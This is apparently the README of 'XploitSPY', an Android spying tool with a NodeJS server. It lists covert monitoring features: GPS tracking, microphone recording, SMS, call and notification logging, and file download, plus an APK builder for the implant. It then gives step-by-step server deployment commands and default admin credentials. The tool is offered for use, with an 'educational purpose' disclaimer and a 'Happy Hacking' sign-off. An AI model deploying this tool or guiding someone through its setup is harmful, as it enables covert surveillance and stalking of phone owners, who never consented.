A cloud based Android Spying or Monitoring Tool, powered by NodeJS

Features

• GPS Logging
• Microphone Recording
• View Contacts
• SMS Logs
• Send SMS
• Call Logs
• View Installed Apps
• View Stub Permissions
• Live Clipboard Logging
• Live Notification Logging (WhatsApp, Facebook, Instagram, Gmail and more ....)
• View WiFi Networks (logs previously seen)
• File Explorer & Downloader
• Command Queuing
• Built In APK Builder

Prerequisites

• Java Runtime Environment 9+
  • See installation for OS specifics
• NodeJs
• A Server

Installation on Heroku Click Here

Video Tutorial for Heroku Click Here

Installation on VPS or Server

Video Tutorial for VPS or Server Click Here

0. Connect to your server via SSH

1. Install JRE 9+

   • Debian, Ubuntu, Etc
     • sudo apt install openjdk-11-jre-headless
   • Fedora, Oracle, Red Hat, etc
     • sudo yum install java-11-openjdk-devel"
   • Windows
     • click HERE for downloads

2. Install NodeJS Instructions Here (If you can't figure this out, you shouldn't really be using this)

3. install PM2

   • sudo npm install pm2 -g

4. Clone this repository

   • git clone https://github.com/XploitWizer/XploitSPY.git

5. Now change to the server directory and run these commands

   • npm install <- install dependencies
   • pm2 start index.js <-- start the script
   • pm2 startup <- to run XploitSPY on startup

6. Default Username : admin & Default Password : password

7. Change the Username & Password

   1. Stop XploitSPY pm2 stop index
   2. Open maindb.json in a text editor
   3. under admin
      • set the username as plain text
      • set the password as a LOWERCASE MD5 hash
   4. save the file
   5. run pm2 restart all

8. in your browser navigate to http://<SERVER IP or URL>:22533

It's recommended to run XploitSPY behind a reverse proxy such as NGINX

Happy Hacking

Disclaimer

XploitWizer Provides no warranty with this software and will not be responsible for any direct or indirect damage caused due to the usage of this tool.
XploitSPY is built for Educational Purpose. Use at your own Risk.

Made with ❤️ By XploitWizer

Credits

Credits to D3VL for the original code base this repository is based on at L3MON